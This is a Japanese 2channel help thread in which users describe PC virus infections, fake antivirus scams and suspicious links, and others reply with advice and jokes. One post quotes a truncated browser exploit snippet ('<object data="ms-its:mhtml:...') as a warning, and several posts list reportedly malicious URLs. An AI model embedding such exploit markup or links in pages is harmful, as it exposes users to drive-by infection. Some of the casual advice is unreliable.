　　　　　　 , ---　､_
　　　 　 ／ミミミヾヾヽ､＿
　　　∠ヾヾヾヾヾヾjj┴彡ﾆヽ
　　/ ,　-ー‐'"´´´　　　 ヾ.三ヽ
　 ,' /　　　　　　　　　　　　ヾ三ヽ
　 j |　　　　　 　　　　 　 / }ミ　i
　 | |　　　　　　　 　 　 　 / /ミ　 !
　 } | r､　　　　　　　　　　l　ﾞiミ __」　
　　|]ﾑヽ､_　　　　__∠二､__,ｨ|/ ｨ }
　　| 　 ￣｀ﾐｌ==r'´　　 　 /　|lぅ　lj　 　私が原田ウィルス作者ですが何か？
　　「!ヽ､_×___j　ヽ､×　 -'　　ﾚ'r'/　　
　　 `! 　 　 j　　ヽ　 　 　 　 j_ノ　　　
　　　',　 　 ヽｧ_ '┘　　　　　,i　　　　
　　　 ヽ　　___'...＿_　　 i 　 ハ__ 　　　　　
　　　　 ヽ　ﾞ二二　`　 ,' ／／ 八
　　　　　 ヽ　 　 　 　 ／'´ 　 /　ヽ
　　　　　　|ヽ､＿_,　'´ / 　 ／　　　＼

質問なのですが、２ちゃんねるで自分が書き込んだ覚えのない書込みが、
自分の書込みのIDと完全一致していたのですが、これって普通に起こりうる現象なのでしょうか？
誰かに意図的に、例えばパソコンに侵入されてどうかされたのではないかと感じているのですがどうなのでしょう。
ちなみに私の書込みは携帯からです、
ですので間違って誰かがその携帯から書き込んだということだけは絶対にないと断言できるだけに不安です。
なぜIDになってしまったのでしょう？

半年に一回くらいはある

C:\WINDOWS\system32\TFTP1632 は　W32.Spybot.Worm に感染しています。
C:\WINDOWS\system32\TFTP696 は　W32.Spybot.Worm に感染しています。
C:\WINDOWS\system32\TFTP792 は　Bloodhound.Morphine に感染しています。

このような結果が出ました。シマンテックのスキャン機能です。
これはどうしたらよろしいでしょうか？？非常に困っています。
ファイル削除でもよろしいのでしょうか？
ちなみにウィルスバスタースキャンでもウィルス反応がありました。
どのたかお願いいたします。

OS再インスコ

>>634
同じスレで同じ日に書き込まれたものなのですが偶然でしょうか？
意図的にすることは可能なのですか？

同じマンションの人で、心当たりはないかな？

【使用OS】 Windows XP
【WindowsUpdateしてるか】 している
【AntiVirusは何を使っているか】 NAV
【ちゃんとUpdateしてるか】 している
【スキャンした結果（ウイルス名・発見場所）】 反応なし
【別のオンラインスキャンしたならその結果は】 してない
【症状を具体的に、分かる限りすべて書く】
急にregscan.exeが起動し、ネットにアクセスしたのでﾉｰﾄﾝ先生が怒った
ぐぐったらBackdoor.Talexとかいうのが出てきたのでウィルスかなと思うのですがNAVは反応しませんでした。
ちなみにregscan.exeは更新日時が2002年となっていました。（ＰＣ買ったのが2004年なのですが）
このregscan.exeは消してもいいものなんでしょうか？
>>572も同じような症状のようですね
【何をしたらそんなことになったのか】 特に何もしてないはず。動画見てるときに勝手に動いた。
【これまでにとった措置】 なし
【その他の質問】

【使用OS】windows98
【WindowsUpdateしてるか】している
【AntiVirusは何を使っているか】VB2004
【ちゃんとUpdateしてるか】していない
【スキャンした結果（ウイルス名・発見場所）】なし
【別のオンラインスキャンしたならその結果は】symantecオンラインスキャン
結果：２ｃｈ datファイルに反応あり
【症状を具体的に、分かる限りすべて書く】
VBがWORM_SQLP1434.Aを検出、不正アクセスをブロック
【何をしたらそんなことになったのか】２ｃｈ運営臨時情報のリンクを開いた
【これまでにとった措置】
スキャンで出たdatファイルを削除
WORM_SQLP1434.Aをぐぐり出て来た結果のシステムクリーナを実行
アドウェアSEpro実行
そのごオンラインスキャン実行、結果感染ファイル無し
【その他の質問】
感染ファイルを削除、スキャン結果０にも関わらず
VBが反応を続けています。どうしたらいいのでしょうか

( ゜σ･･ ゜) ホジホジ

>>639
Backdoor.Talexバックドアトロイの木馬は感染先コンピュータへ完全にアクセスできるようにします。トロイの木馬はDelphiプログラミング言語で書かれており、ASPackで圧縮されています。
http://www.symantec.com/region/jp/avcenter/venc/data/backdoor.talex.html

OS＝WinMX
ウイルス名＝Virus
どうしたらいいのか教えろ

>>643
PC買い替えろ

>>642
ありがとうございます
でもウイルス定義最新版にしても検出されないし
レジストリキー見てもないんですがやっぱりウイルスじゃないんでしょうか？
ちなみにregscan.exeはC:\WINDOWS\system32にありました
これだけでも消した方がいいんでしょうか？それとも誰にでも入ってるもんなんでしょうか？

【使用OS】 WindowsXP SP2
【WindowsUpdateしてるか】 自動更新のみ
【AntiVirusは何を使っているか】 NIS2005
【ちゃんとUpdateしてるか】 自動更新のみ
【スキャンした結果（ウイルス名・発見場所）】 無し
【別のオンラインスキャンしたならその結果は】 トレンドマイクロでスキャン、ウイルス無し
【症状を具体的に、分かる限りすべて書く】
NIS2005の常駐が突然終了してしまう。気が付くとタスクバーからNIS2005のアイコンが消えてたり、
異常終了してエラーを報告する窓が出る時もある。常駐が終了すると、ブラウザは普通に使えるけど
メールは送受信できなくなる。再度NIS2005を起動すると常駐しますが、また強制終了される時がある。
再現性が全く分からないけど、メールを受信中に異常終了になりやすい？
あと、CCAPP.EXEが異常に負荷がかかる時があって、スキャン中やメール送受信中なら分かるけど
何もしていない状態でCPU負荷が50%(HT有効)もっていかれる。こうなると他の処理も重たくなり、
再起動orログオフしないと元に戻らない。再現性は全く不明。CPU温度の異常で気付く。
【何をしたらそんなことになったのか】
特に思い当たる事はありません。変なexeは実行してないし、知らない人からのメールは即削除してます。
【これまでにとった措置】 無し

　　　　　　 , ---　､_
　　　 　 ／ミミミヾヾヽ､＿
　　　∠ヾヾヾヾヾヾjj┴彡ﾆヽ
　　/ ,　-ー‐'"´´´　　　 ヾ.三ヽ
　 ,' /　　　　　　　　　　　　ヾ三ヽ
　 j |　　　　　 　　　　 　 / }ミ　i
　 | |　　　　　　　 　 　 　 / /ミ　 !
　 } | r､　　　　　　　　　　l　ﾞiミ __」　
　　|]ﾑヽ､_　　　　__∠二､__,ｨ|/ ｨ }
　　| 　 ￣｀ﾐｌ==r'´　　 　 /　|lぅ　lj　 　私が原田ウィルス作者ですが何か？
　　「!ヽ､_♂___j　ヽ､♂　 -'　　ﾚ'r'/　　
　　 `! 　 　 j　　ヽ　 　 　 　 j_ノ　　　
　　　',　 　 ヽｧ_ '┘　　　　　,i　　　　
　　　 ヽ　　___'...＿_　　 i 　 ハ__ 　　　　　
　　　　 ヽ　ﾞ二二　`　 ,' ／／ 八
　　　　　 ヽ　 　 　 　 ／'´ 　 /　ヽ
　　　　　　|ヽ､＿_,　'´ / 　 ／　　　＼

原田さん　剥けてる？

>>639
XPには元々無いからregscan.exeは削除
レジストリのRunからも削除
○○.Talex・・がTempIFに2個あったからそれを削除

>>649
ありがとうございます
やってみます

　　　　　　 , ---　､_
　　　 　 ／ミミミヾヾヽ､＿
　　　∠ヾヾヾヾヾヾjj┴彡ﾆヽ
　　/ ,　-ー‐'"´´´　　　 ヾ.三ヽ
　 ,' /　　　　　　　　　　　　ヾ三ヽ
　 j |　　　　　 　　　　 　 / }ミ　i
　 | |　　　　　　　 　 　 　 / /ミ　 !
　 } | r､　　　　　　　　　　l　ﾞiミ __」　
　　|]ﾑヽ､_　　　　__∠二､__,ｨ|/ ｨ }
　　| 　 ￣｀ﾐｌ==r'´　　 　 /　|lぅ　lj　 　私が原田ウィルス作者ですが何か？
　　「!ヽ､_♂___j　ヽ､♂　 -'　　ﾚ'r'/　　
　　 `! 　 　 j　　ヽ　 　 　 　 j_ノ　　　
　　　',　 　 ヽｧ_ '┘　　　　　,i　　　　
　　　 ヽ　　___'...＿_　　 i 　 ハ__ 　　　　　
　　　　 ヽ　ﾞ二二　`　 ,' ／／ 八
　　　　　 ヽ　 　 　 　 ／'´ 　 /　ヽ
　　　　　　|ヽ､＿_,　'´ / 　 ／　　　＼

ど素人なんですが、教えてください

あるホームページをみただけで
ウイルスに感染することって、あるのですか？

ダウンロードとかしなければ大丈夫ですか？

ttp://namako.oops.jp/index.php?mode=comment&date=2006.07.09

これって何なんでしょうか・・・・・

>>652
>あるホームページをみただけで
>ウイルスに感染することって、あるのですか？
条件さえ満たせば有り得る。古いが Redlof なんかその代表だったウイルス。

さらにネットに接続しているだけで感染するウイルスもある。
有名な MSBlaster などはその代表だった。

＞６５４
どうもです

とあるホームページをみたら、いきなりウイルスを
感知しましたというメッセージがでたんです
うろ覚えなんですが・・

それでどうしたものかと思ってたんです
やばいですか？

やばすぎ

過去レスを全く見ないうえに情報も小出しにして質問とかはヤバイな

>>565
ウィルス削除すればいいｼﾞｬﾏｲｶ

ど素人から質問です。
ウィルスにかかったみたいなんですが、対処方がわかりません。症状は、インターネットが開けず、デスクトップにあるアイコンも開けない開けない状態。マイコンピューターは開けました。今スキャン中です。
ウィルスのたぶん元凶のファイルを消そうとしても、デスクトップにあるので、どうにもできません。
何か対処方を教えてください

>>659
http://www.trendmicro.co.jp/hcall/index.asp
http://www.symantec.com/region/jp/securitycheck/index.html

インターネットが開けないから見れないんですが。

君はこのスレをどうやって見てるのさ？

携帯です。

age

659です。
もう少し詳しく書きます。

エロゲをしていたら、突然PCが落ちる。

起動しようとしても通常起動では繋がらないので、セーフモードで起動。

起動したもののインターネットの接続が出来ず。

さらに、デスクトップのアイコンがクリック出来ず。

WMPを起動しようとしたらエラー。

スキャンした結果、Unix.Penguinだと発覚。

対処方わからず。
危険性は低いようですが、早くなおしたいです。
今こんな感じです。
対処方を教えてください。

ところで、おまいさんのOSは秘密かね？



　お約束の　　　ﾀﾞﾐﾔｰｰｰﾝ

今まで対策してなかったマシンの対策を依頼されてZAとAVASTを導入しました。
AVASTで２５個ほど削除しても残りがあったのでシマンテックのネット検索で１６個発見し
すべて削除しました。

しかし、ゴミ箱からすべて削除してもmIRCと言うソフトが走ってしまいます。
検索するとmIRC.exeと言うファイルがc:\windows\system32にあり、これを削除しても
次にリブートするとまたどっかからかmIRC.exeを再育成しているらしく起動してしまいます。

もちろんスタートアップやレジストリの２ヶ所のwindows\runの中もチェックしましたが
mIRC.exeを実行しているものは見つかりません。

これって何なのでしょうか？
ぐぐるとチャットツールみたいなのでたぶん裏でキーロガーとして走らせていると思うのですが、
対処法が分からないので。
またこれを削除する方法がありましたら教えてください。

OS:XP　Homeです。
#avastの検出率が悪くてちょとﾋﾞｸｰﾘ

自分のメールアドレスを兄貴に教えたらどこかに書き込んだのか、スパムメールが大量にくるようになりました。
メールが来るたびに受信拒否アドレスに追加していってるのですが、
受信拒否しても恐ろしいことにメールアドレスが違うところからどんどん来て今１３０件くらいになっています。
２００件くらいまでしか登録できません。どうしたらいいでしょうか？
このメールアドレスはもう捨てなければならないでしょうか？

>>667
レジストリの中ファイル名で探せば自動起動のエントリは見つかるかもしれんが
それを復活させてるのを探さにゃならんし
俺ならOS再インストールから始めるね

>>667
トロイの元ネタはtempファイルにあって見つからないこと多いよ
IEtemp一旦全部消してみるとか

>667
RunServicesというオチだったりしてな。
Hijackthisっていうツールを使ってみるのも手だし。

>>668
兄じゃを捨てなされ

WORM_GAOBOT.DFというウイルスにやられました。
削除しようとしても現在使用中で削除できません。
タスクマネからプロセスをみてもみつからないんですけど・・・
削除の方法お願いします。

ggr

OSはXPです。

omoplj.exeってのが勝手にメール送りまくってるぽいんだけど何か分かります？
プロセスの終了で止められたから今は大丈夫なんですが・・・

質問・回答が効率的に行えるよう、質問時には次のテンプレを使用してください。

【使用OS】
【WindowsUpdateしてるか】
【AntiVirusは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】

>>667です。みんなレスありがとう
system32を一つずつチェックしてとりあえずgh0st.exeは見つけて消しました。
gh0st[0].cplとかを大量に作成してました。

>>669
それがOSの削除が出来ないマシンでして。ちょと困ってます。
今は無きOASYSのソフトを使っていてメーカーも無いソフトがあるので。
OSの修復セットアップは出来るのですが。。。

>>670
やったけど変わらないです。

>>671
Hijackthis使ってみます。
サービスもチェックしたんですけど無いんですよね。
M$以外ではCisco systemってのが走ってますけどこれは中身が不明。
とりあえずこいつはZAでネットにはつなげないようにしてます。


あと、どなたか教えて欲しいのですけど、ウィルスで変更されたレジストリを
元に修復するツールみたいなのって無いでしょうか？
WindowsUpdateをかけるとある程度直るみたいなんだけど、まだ激遅なので。

>>672
兄貴を削除しました。ｗｗｗ

メール受信しただけでパソコンがういるすに感染するってほんと？

>>680
場合によってはほんと

２ちゃんねるのスレを観覧しただけでウィルスに感染した！！！
ひどい・・・うわぁー！
最悪

>>680
受信しただけではウイルスにはかからないのでは？
添え付けファイルを開くとか書かれてるＵＲＬにいって何かをＤＬしたりするとかかるかもしれないけど。

昔々なら受信したメールをクリックしたら
プレビューされて発動なんてのもあったけどな

htmlメール
世にはWinupdateをしてないOutlookユーザーが一杯居るお

亀レス
>>221 についてなんだが、同じ現象に陥っていた。
テンプレの内容はほぼ同じでノートンの更新を最近行ったくらいなので、結果報告だけということもあり省略。

msconfig のスタートアップタグに無名項目があったのでチェックをはずす。
場所の項目のみが指定されていて「SOFTWEAR\Microsoft\Windows\Current\VersionRun」だった。
何かマジでウィルスくさい。
リカバリかけた方がよさげ？

ちなみに効果音とは「ヨ〜〜、ポン」を崩した感じだった。
「フィ〜〜ン、プニョン」の方が似てるかも。

とりあえず、情報の共有ということで。

>>678です。

その後、Niftyのウィルス検索サービスで検索してみたらトロイが５１個も見つかりました。
何気にトロイ検出と修正に関してはNifty最強かもしれません。

誰かレジストリのチェックや修復できるソフトを知っていたら教えてください。

>>682
本当にここは酷いインターネッツですね

>>687
お願いがあります→ネットに接続しないでください

>>687
Regseeker
http://pc8.2ch.net/test/read.cgi/win/1140605061/

>>690
よりによって一番最悪なのを紹介するなよ。
それにその手のは削除だけで修正はしないぞ。

レジストリのチェックつーのはまともな状態の時から監視しとかないと意味無いような

tp://www.softpedia.com/public/cat/13/9/13-9-195.shtml
ここへ行ったら、怪しげなダイアログが出てきました。

そうですか。よかったですね

AVGを使っていて、スキャンしたところ、Win32/PEPatchというウィルスに感染していることがわかりました。
調べてみたんですけど、情報が少なくよくわからないのですが、正式名称はなんでしょうか？

>>693
スパイウェアかなんかじゃない？

さきほどネットを巡回していたところウィルスにかかったようです
早急に対処しないと情報をどこかへ送信されると出ています
一体どうすればいいのでしょうか？ｏｒｚ

>>697
どこに出てんの？
いんちきスパイウェア駆除ソフトの宣伝の可能性も。

WORM_SDBOT.PHってどんなウィルス？

>>699
WORM_SDBOT.PH の検索結果 約 956 件中 1 - 10 件目 (0.40 秒)

>>700
日本語ページがない。
日本じゃ珍しいウィルスなのか……

ほんの少し日本語化
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM%5FSDBOT%2EPH

TROJ_Genericがsystem32の中にあるファイルに感染してるんですけど削除できないんです。
TROJ_Genericって危険なウイルス？
ググったらトロイの木馬型って書いてあったんだけど。
どうすれば削除できるんだ・・・・・・(´･ω･`)

>>703
まずは>>677の項目を埋めておくれ(´･ω･｀)

すいません最近、
ＹＡＨＯＯの検索でサイトに飛ぼうとするとエラーページに飛んだり、
外国のサイトに飛んだりします。
さらにネットだけでなく、パソコンのデスクトップ画面が表示されてからの表示が遅い…
（今日はフリーズまがいだったので１０回ぐらい再起動しました）
どうしたらいいですかね。。

>>705
http://www.microsoft.com/downloads/details.aspx?FamilyID=435bfce7-da2b-4a6a-afa4-f7f14e605a0d&DisplayLang=ja
http://www.microsoft.com/downloads/details.aspx?FamilyID=ad724ae0-e72d-4f54-9ab3-75b8eb148356&DisplayLang=ja
http://www.symantec.com/region/jp/securitycheck/

お尋ねしても宜しいでしょうか。

【使用OS】 Windows XP SP2
【WindowsUpdateしてるか】 自動更新ですが、念のため週に1〜2回手動で確認しています。
【AntiVirusは何を使っているか】 WinAntiVirus PRO 2006
【ちゃんとUpdateしてるか】 はい、ちゃんと最新の状態に更新しています。
【スキャンした結果（ウイルス名・発見場所）】 発見できない。
【別のオンラインスキャンしたならその結果は】 シマンテックやバスターのオンラインスキャンでは、WinAntiVirus PRO 2006を検出
【症状を具体的に、分かる限りすべて書く】 WinAntiVirus PRO 2006を入れてから動作が悪くなった。
【何をしたらそんなことになったのか】 貴方のパソコンは「ブラックウォーム」に感染される恐れがある。
セキュリティセンターは貴方のパソコンに「セキュリティミッス」を検出しました。現在使っているアンチウィルスでは
情報の流出を防ぐ事ができないと言われた。
【これまでにとった措置】 怖くなってノートン2006を削除してWinAntiVirus PRO 2006をインストール
【その他の質問】 WinAntiVirus PRO 2006が世界最強のセキュリティソフトと聞いたので、クレカで購入しました。

>>707
参考に
ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=2080826

このコピペ久しぶりだな

ウィルスバスターの期限が終了しほったらかしにしてたらパソコンを立ち上げると「mIRC」ってアプリが自動に立ち上がるようになりました？
これは何かのウィルスですか？詳しい人教えて下さいm(__)m今は最新版のバスターを導入済みです

>>710
ウイルスバスターを最新にアップデートして全ドライブをフルスキャン
それで駄目ならSymantecのオンラインスキャンでもやってみれ

http://news20.2ch.net/test/read.cgi/news/1153132923/6
踏んだんですが、どうすればよいでしょうか？？
今はオンラインスキャンしてます。

>>712
　　　　　　　　　　　|
　　　　　　　 　 ↑_|
　　　　　　　　　r__ﾉヽ　　 　　l⌒l
　　 　　　 　 　.|＼　　＼＿　 |　.|
　　 　 　 　 　　|　＼∩/　 ＼|　 | 釣られるクマー
　 　 　 　 　　 /　 ( ~●~ ) 　ヽ /
　　　　 　　r'"|u ●　　　 ●　|ﾉ
　　 　 ＿__.|　|　／　u 　 ＼　|　
　　　 （＿＿ノ ヽ＿＿＿＿_ノ　
　 　 　　　　 | U　　　　　/ U　　
　　 |　|　| 　 |　　　　　 /　 　 |　|
　 　‖‖　　.| 　　　　 （　　　 ‖
　 　 　 　 　 /　 ／ヽ　 ＼
　　　 　 　 ./　 /　　 ＼ 　＼
　 　 　 　 .（＿/　 　　　＼＿）

　　　　　　　|　|　　　　　　|　|
　　　　　　　‖　　　　　 　‖

tp://up.nm78.com/data/up093116.jpg

↑これウイルスですか？？

ttp://sylphys.ddo.jp/upld2nd/pc2/src/1153153639218.jpg

XP pro sp1のタスクリストなんですけど、何か変じゃないですか？
アイドルプロセス以外のユーザー名が全部空欄なんですよ。
コンピューター名やスタートメニューの○○のログオフにはちゃんと自分のユーザー名出てます。

ＫＶ、ウイルスバスターオンラインスキャン、シマンテックオンラインスキャンでは異常なしでした。

スレ間違えました。

たまにパソコンを起動したまま寝てると「ドゥドン」っていうよくUSBフラッシュメモリとかを本体から抜く音が聞こえます。パソコンをいじってないのにその音が聞こえると奇妙に感じるのですがこれってウイルスとかですか?ちなみにウイルススキャンしても何も出てきません。

カチッ、カチッとファイルを開いてもないのにその音が鳴ります
全く操作してなくても不定期に鳴るのです

なんかハッカーが自分のファイルを盗み見ているようで不気味です
これはウイルスでしょうか？
ウイルスソフトには反応は無いです

>>718
ttp://oreteki.org//media/img_20060614T114051764.JPG
ttp://oreteki.org//media/img_20060614T114054057.JPG
ttp://oreteki.org//media/img_20060614T114054878.JPG
ヒント 夏

質問です。解る方いたら教えてください。最近不意に電源が切れて再起動するんですが、ウィルスでしょうか…？PCは四月にかいかえたばかりで新しいし心当たりもとくにないんですよ…セキュリティーも、一応初心者ながらできる事はしてるつもりなんだけど。

なんつーか、エスパーでもなければ答えられそうに無い質問ばっかだな

http://up.nm78.com/data/up0000.jpg.kintama.exe
踏んでしまったのですが、大丈夫でしょうか？
確認のためお願いします。

>>722
エロサイトに飛ばされるだけ。問題なし

OSはWINDOWS2000　SP4を使っています
シマンテックでウイルスチェックをしたところTrojan.Wimad に感染していました
自分はavastのしかつかっていないのですがシマンテックのセキュリティを使わないと駆除できないのでしょうか？
普通に感染したファイルを削除するだけで大丈夫ですか？
急にPCから音が聞こえなくなったのでウイルスが原因かと思ってます

右クリックができなくなったり、タスクマネージャが開けなくなるウィルスってありますか？
双葉でいろいろ画像みてて、気に入ったエロ画像があったので保存しようとしたら
表示できるし、何度も画像ひらけれるのにファイルがありませんとかほざきやがって
IEの上のほうにあるファイルから直接保存しようとしてもファイルがないとかいいやがる
しまいには右クリできないようになり、タスクマネージャも起動できなくなりました。
起動しようとしたら、「ディン！ディン！」ってむりな時になる音つきで！

再起動したら今の所問題はありません。
ただ再起動後IE起動させようと思ったらクソおもかったです。
ノートン2006とウィルスバスターオンラインスキャンやりましたがウィルスの反応はありませんでした。

なんつーか、エスパーでもなければ答えられそうに無い質問ばっかだな

まったくだ。

ホントに夏っぽくなるんだなｗ

エスパー伊藤を要請する

てか、テンプレ使わない奴はスルーで

【使用OS】 WindowsXP
【WindowsUpdateしてるか】 自動更新のみ
【AntiVirusは何を使っているか】 ウイルスバスター
【スキャンした結果（ウイルス名・発見場所）】 PE_LOOKED.AK-O
【これまでにとった措置】 無し
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=PE_LOOKED.AK-O
ここをみたけど英語で全然わかりません　よろしくお願いします

すいません
さっきまで英語だったのですがなぜか日本語になりました
失礼しました

【使用OS】 Windows XP
【WindowsUpdateしてるか】 自動更新のみ
【AntiVirusは何を使っているか】 McAfee Security Center, Spybot
【ちゃんとUpdateしてるか】 マカフィーは自動、Spybotは更新してからスキャンしました。
【スキャンした結果（ウイルス名・発見場所）】 McAfeeでは何も発見されず、Spybotではいくつか見つかったがcookieでした。
【症状を具体的に、分かる限りすべて書く】 タスクバーに空白の最小化ウインドウが勝手に現れ一秒くらいすると勝手に消えます。
これが５分くらいの間隔で繰り返されます。最小化ウインドウのアイコンはアプリケーションのものでウインドウを抽象化したようなやつです。
【これまでにとった措置】 McAfeeで何も見つからなかったのでスパイウェアかと思い、Spybotを導入してスキャンしたところ多数の異常（怪しいcookieとレジストリの改変）が検出されました。
それらの問題はSpybotが削除してくれましたが、しかしその後も上記の症状が治まらず、お手上げ。

>>732
そうなったきっかけに心当たりは？
発症した日時がわかるならそれ以前の状態にシステムの復元
そうでなければどうしようかねぇ…
パーソナルファイアウォールは何か使ってる？

後どーでもいいがMcAfee Security CenterはMcAfee製品のおまけソフトで
アンチウイルスソフトの名称はMcAfee VirusScanな

>>733
いつのまにか出現するようになったのでわからないですね。
こんな症状のウイルスって聞いたことないですか？
パーソナルファイアーウォールはMcAfeeのPersonal Firewall Plusです。
Mcafee Security CenterにPrivacy Service以外入ってるんだが・・何が問題なんだろ

>>731
日本語でおｋ？

>>734
パーソナルファイアウォールが警告とか出してない？
あるいはファイアウォールの許可ルールに変なモノが入ってたりとか


とりあえず現状での選択肢は…とっさに思いつくのはこんなもんか

1．とりあえず大丈夫だった気がする時点までシステムの復元で戻す
2．地道に原因捜す（>>533あたり）
3．ほかのツールに頼る（他社のオンラインスキャンとか）
4．OSから入れなおす
5．無視してこのまま使う

>>736
ファイアウォールの設定を初期化したら出なくなった模様。
ってことは既に個人情報流出済みか？(ﾟдﾟ)
とりあえず736に禿げしくﾄﾝ。

ドス窓formatそうさでウィルスが誘発したと
警察に届けると騒ぐアホ

http://game10.2ch.net/test/read.cgi/game/1151587362/

AVGフリーでスキャンしてVirus identified Worm/Generic.QB
というのがひっかかったんですけど、これってどういうことするウイルスでどれぐらい危険なんですか？
ぐぐっても出てこないので教えてくださいm(_ _)m

>>739
君のPCに風穴開けてネットの向こうから操作できるようにする
操られた君のPCは仲間を増やそうと同じウイルスをばらまく

>>740
ありがとうございます
一応感染してたやつを削除してスキャンし直してひっからなければ大丈夫ですよね？

tp://www.nikkamsports.com/ns/entertainment/f-et-tp0-060209-0010.html
踏んでしまいました。ウィルスと他の人は言うのですが、ノートンが反応しませんでした。
スキャンしましたが、脅威は見つかりませんと出ます。大丈夫でしょうか。

>>742
踏んだだけなら無害。
そこから落としたexeを実行すると有害。

>>742です
>>743さんどうもありがとうございます。これで安心して眠れます。

Firewall&Forestさんとこでも聞いてるな・・・

>>745さん
>>742ですが、私はここにしか書いていません。
私が見たスレでは何人か踏んでしまった人がいたようですので
他の方かもしれません。

>>80
超亀なんだが、引っかかったので。
たぶんそのファイルは「いけない保健室」だかなんだかの
インストーラを装ってなかったか？w

真剣に解析してないけど、ベクターにあるGとハエが飛び回るジョークソフトに
ちょっと手を加えた程度のものだと思う。ただ、うちではシステムの復元は
無効にはなってなかった。別ハッシュのファイルかも。

ちなみに、ノートン@20060712でもウイルスともジョークソフトとも検出されなかった。
たぶん超マイナーなウイルス？なんだろうと思う。

仮想マシンの中でずっとモニタしてみたが、何らかの破壊活動をしたり、
増殖したり、外部に情報送ったりってことはやってないみたい。たぶん。
めんどいんでリカバリしたけどさ。

どうでもいいが、おまいさん去年も同じ質問してなかったか？w

質問よろしいでしょうか？
外付けHDD（LAN）の中に「xi.exe」というファイルが知らない間に出てきます。
ノートンがウィルス警告出すのでウィルスだと思うのですが削除したはずなのに
また出てきます。PC本体をspybotで検索しても問題なしとなるのですが
本当に大丈夫なのでしょうか？また削除しても出てくる「xi.exe」とは
なんなのでしょうか？どなたかご存知の方、いらっしゃいましたら
御教授宜しくお願いします。

>>748
http://www.viruschaser.jp/vi_index/vi_w/Win32.HLLW.Rirc.2.html

>>748
あなたもBotnetの仲間入りです。
下手すると、濡れ衣を着せられますよ。

>>748
賠償請求もあり得るよ

>> 749-751
御回答ありがとうございました。

ウィルスに感染し、ウィルスバスターで感染を調べて見たら２００程見つかりました
その後そのパソコンを一年ほど使わず放置していたらネットどころか、ワードすら開けなくなっていました
こういう場合はどのようにすれば直せるのでしょうか？電器屋に出す以外何がありますか？

>>753
ワードが開かない原因がウィルスかどうかは分からないけど、OSのクリーンインストールが一番。
もしOSが98かMeなら買い替えも考えた方がいいかも。

OS再インストール

しかねえだろよ。

http://munimoni.angelcities.com/
すみません、これ踏んでしまったのですが、大丈夫でしょうか？
一応ＳＰＹＢＯＴとノートンのスキャンかけましたが
何も出て来ませんでした。
ご教授のほう宜しくお願いします。

マカフィーで「JS/Wonka」にかかったと表示されました。
ttp://www.mcafee.com/japan/security/virW2005.asp?v=JS/Wonka
ここを見る限り、駆除方法がかかれてないんですが、どうして駆除すればよいでしょうか？

ファイルの隔離や削除もできません。
ご教授願います。

>>758
JS/Wonka の検索結果のうち 日本語のページ 約 460 件中 1 - 10 件目 (0.85 秒)

既出かもしれませんが、実況板でこれを目欄に入れてるアホがいたので報告　　<object data="ms-its:mhtml:file://C:\\MAIN.MHT!

これが入ってるスレを開くとノートンが反応、Bloodhound.Eｘploit.6のウィルス名が出ます
今までと別種のコードでしょうね、対応策はあるでしょうか？
もちろんググっても出てきませんでした。

お前ら全員テンプレに目を通して出直してきやがれ

>>761
すみませんでした。
他に逝ってきます。

tp://www.keygen.us/get.shtml?20472
を踏んでしまいました鑑定してもらったら

そのﾍﾟｰｼﾞを開くとAvastさんがWin32:Trojano-826を発見しました。
しかも、243461.exeという実行ﾌｧｲﾙをﾀﾞｳｿするか聞いてきます。
このﾌｧｲﾙにもWin32:Small-WU [Trj]を発見してます。触らぬが吉です。

言われたのですが、どうすれば良いですか？
ノートンでスキャンしましたが、反応なしでした

>>763
>>1

変なのばっかだなｗ
テンプレ使わないわウイルスコード貼り付けるわ

あげ

>>763
(´・ω・)ｶﾜｲｿｽ

特にＰＣに異常があるわけではないのですが
新しい製品にしようと思いその助言を頂たいので宜しくお願いします。
【使用OS】Windows XP
【WindowsUpdateしてるか】ＹＥＳ
【AntiVirusは何を使っているか】ノートンアンチウイルス２００４
【ちゃんとUpdateしてるか】 更新サービス期限切れ（そのまま約２年間使用）
【スキャンした結果（ウイルス名・発見場所）】現状ではなにもありません
【別のオンラインスキャンしたならその結果は】 してません
【症状を具体的に、分かる限りすべて書く】 特にないです
【何をしたらそんなことになったのか】 なし
【これまでにとった措置】 なし
【その他の質問】
ノートンアンチウイルス２００６に変えようと思っているのですが
アップグレード版とダウンロード版では料金以外になにが違うのでしょうか？
また、ノートンアンチウイルス以外にお勧めはありますか？
当方、自分の個人情報以外は特にＰＣ内に保存されていません。
宜しくお願い致します。

>>768
むこうでアホに煽られていたね。

>ノートンアンチウイルス２００６に変えようと思っているのですが
>アップグレード版とダウンロード版では料金以外になにが違うのでしょうか？

このへんを読むと全く解らないようだから、
お店に行ってノートンでもバスターでも好きな方の通常版を買ったほうがいいと思うよ。

スレ違いだろ。ノートンスレにでもいけよ

【使用OS】 Windows XP
【WindowsUpdateしてるか】 自動更新のみ
PCを起動してもアイコンやタスクバー、左、右クリックをしても
何も表示されなく、セーフモードやCtrl＋Alt＋Deleteなどをいろいろ試したら
アイコンやタスクバーが表示できました(また起動した時に消えるけど)
ノートンの反応も無かったけど、ウィルスに感染しているかもしれないので、
どなたか駆除方法を教えて下さい。よろしくお願いします

面　倒　く　さ　が　ら　ず　に　テ　ン　プ　レ　埋　め　ろ

rootkitってどうやって除去すればいいんだ？
wionwsフォルダの中身が見えない

>>773
OSが改変されているので感染したPCからでは基本的には無理
ネットワーク経由などで別PCからrootkit本体を削除できれば
直る可能性もあるかもしれないが、そこまでいったら大抵は
クリーンインストールなりリカバリなりでHDDの内容を書き換えて
しまったほうが早い

>>773
Fなんとか　っつーので出来たとおもた

RootkitRevealer(単独名だけど実質Rootkit関連スレ
ttp://pc8.2ch.net/test/read.cgi/sec/1110397075/l50

共有ミュージックと言うフォルダの中に
@C\WINDOWS\inf\unregmp2.exe,-161
@C\WINDOWS\inf\unregmp2.exe,-162
と言う謎のフォルダがあるのですが何なのでしょうか？

unregmp2.exe の検索結果のうち 日本語のページ 約 1,310 件中 11 - 20 件目 (0.95 秒)

unregmp2.exe の検索結果のうち 日本語のページ 約 1,310 件中 21 - 30 件目 (0.36 秒)

姉のパソコンが不調（ウィルス？）らしいので、どなたかお願いします

【使用OS】
XP
【AntiVirusは何を使っているか】
ウィルスセキュリティ
